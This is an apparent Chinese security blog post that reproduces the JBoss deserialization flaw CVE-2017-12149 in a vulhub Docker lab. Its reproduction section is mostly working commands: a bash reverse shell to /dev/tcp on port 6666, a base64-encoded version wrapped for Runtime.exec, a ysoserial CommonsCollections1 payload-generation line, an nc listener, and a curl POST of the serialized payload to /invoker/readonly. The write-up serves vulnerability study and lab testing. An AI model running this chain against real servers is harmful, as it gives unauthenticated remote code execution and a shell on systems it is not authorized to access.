Jboss反序列化漏洞(CVE-2017-12149)

Last updated on 2 years ago

漏洞介绍

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下就将来自客户端的数据流进行反序列化,从而导致了漏洞。远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。

漏洞复现

克隆 vulnhub 的项目到本地,cd到对应的文件夹,启动docker,然后执行以下命令开始下载测试环境

1
docker-compose up -d

浏览器访问 http://192.168.33.137:8080 即可看到JBoss默认页面

漏洞存在 /invoker/readonly/请求中,此处服务器将用户提交的POST内容进行了Java反序列化

下载用于生成序列化数据的ysoserial,使用bash反弹shell

1
bash -i >& /dev/tcp/192.168.33.137/6666 0>&1

由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,需要进行编码,而且漏洞复现文档里所提到的编码工具已经找不到,那就只能手动拼凑一下了

模型: bash -c {echo,base64编码后的shell命令} | {base64,-d} | {bash,-i}

先把shell命令base64编码:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMzLjEzNy82NjY2IDA+JjEK

然后替换echo后面的

1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMzLjEzNy82NjY2IDA+JjEK} | {base64,-d} | {bash,-i}

使用 ysoserial 生成Payload:

1
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMzLjEzNy82NjY2IDA+JjEK}|{base64,-d}|{bash,-i}" > poc.ser

kali nc监听:

1
nc -lvp 6666

向存在漏洞的请求地址发送poc:

1
curl http://192.168.33.137:8080/invoker/readonly --data-binary @poc.ser

成功反弹shell

参考:

https://www.cnblogs.com/ikari/p/8989821.html


Jboss反序列化漏洞(CVE-2017-12149)
https://guosec.online/posts/1de3639b.html
Posted on
February 18, 2019
Updated on
February 24, 2022
Licensed under
本博客所有文章除特别声明外,均采用  协议,转载请注明出处!